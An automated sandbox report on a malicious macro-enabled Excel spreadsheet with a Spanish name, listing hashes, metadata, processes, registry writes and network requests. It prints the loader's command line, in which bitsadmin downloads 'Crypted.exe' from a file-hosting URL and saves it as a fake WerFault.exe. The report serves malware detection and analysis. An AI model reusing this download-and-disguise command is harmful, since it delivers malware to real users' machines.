File name:

modelo_de_planilla_de_informacion_anual.xlsm

Full analysis: https://app.any.run/tasks/86753659-1a88-4b99-9ffb-b986c4b24610
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 06, 2018, 03:24:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

D3B4209CD92FC881A99F201E223382EE

SHA1:

EAAC521EEA35D6DAE5E06FEF924031C0369CF7E5

SHA256:

C4CD58AB5001737B6E3A9542E0A3D64265E5F3F21727496A17091FC0797F22A9

SSDEEP:

768:taPdlMFX/FHUo8xTKKBMJ3KZt38yJgsb19nQFX4aqnRBahgz:YPdxP/Buyt3Zgw9nQFX2shgz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses BITADMIN.EXE for downloading application

      • EXCEL.EXE (PID: 2804)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2804)
  • SUSPICIOUS

    No suspicious indicators.
  • INFO

    • Creates files in the user directory

      • EXCEL.EXE (PID: 2804)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2804)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlam | Excel Macro-enabled Open XML add-in (42.4)
.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (29.2)
.xlsx | Excel Microsoft Office Open XML Format document (17.3)
.zip | Open Packaging Conventions container (8.9)
.zip | ZIP compressed archive (2)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xe69d70d7
ZipCompressedSize: 413
ZipUncompressedSize: 1393
ZipFileName: [Content_Types].xml

XMP

Creator: -

XML

LastModifiedBy: -
CreateDate: 2006:09:16 00:00:00Z
ModifyDate: 2018:12:06 03:24:44Z
Application: Microsoft Excel
DocSecurity: None
ScaleCrop: No
HeadingPairs:
  • Hojas de cálculo
  • 1
TitlesOfParts: Sheet1
Company: -
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
AppVersion: 15.03
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
32
Monitored processes
2
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs bitsadmin.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2804"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3572"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal http://rgho.st/download/7QxKPXWxW/466f1cb3bda40bd75fba1344454adc3a2766538f/466f1cb3bda40bd75fba1344454adc3a2766538f/Crypted.exe C:\Users\admin\AppData\Local\Temp\\WerFault.exeC:\Windows\System32\bitsadmin.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
2149122453
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\bitsadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
Total events
646
Read events
551
Write events
88
Delete events
7

Modification events

(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:y.$
Value:
792E2400F40A0000010000000000000000000000
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
F40A0000B01DF052138DD40100000000
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:y.$
Value:
792E2400F40A0000010000000000000000000000
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2804) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\199DCD
Operation:writeName:199DCD
Value:
04000000F40A00004E00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C006D006F00640065006C006F005F00640065005F0070006C0061006E0069006C006C0061005F00640065005F0069006E0066006F0072006D006100630069006F006E005F0061006E00750061006C002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0001000000000000000083CA54138DD401CD9D1900CD9D190000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
0
Suspicious files
0
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
2804EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR9679.tmp.cvr
MD5:
SHA256:
2804EXCEL.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
HEAD
405
104.27.181.254:80
http://rgho.st/download/7QxKPXWxW/466f1cb3bda40bd75fba1344454adc3a2766538f/466f1cb3bda40bd75fba1344454adc3a2766538f/Crypted.exe
US
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
104.27.181.254:80
rgho.st
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
rgho.st
  • 104.27.181.254
  • 104.27.180.254
shared

Threats

No threats detected
No debug info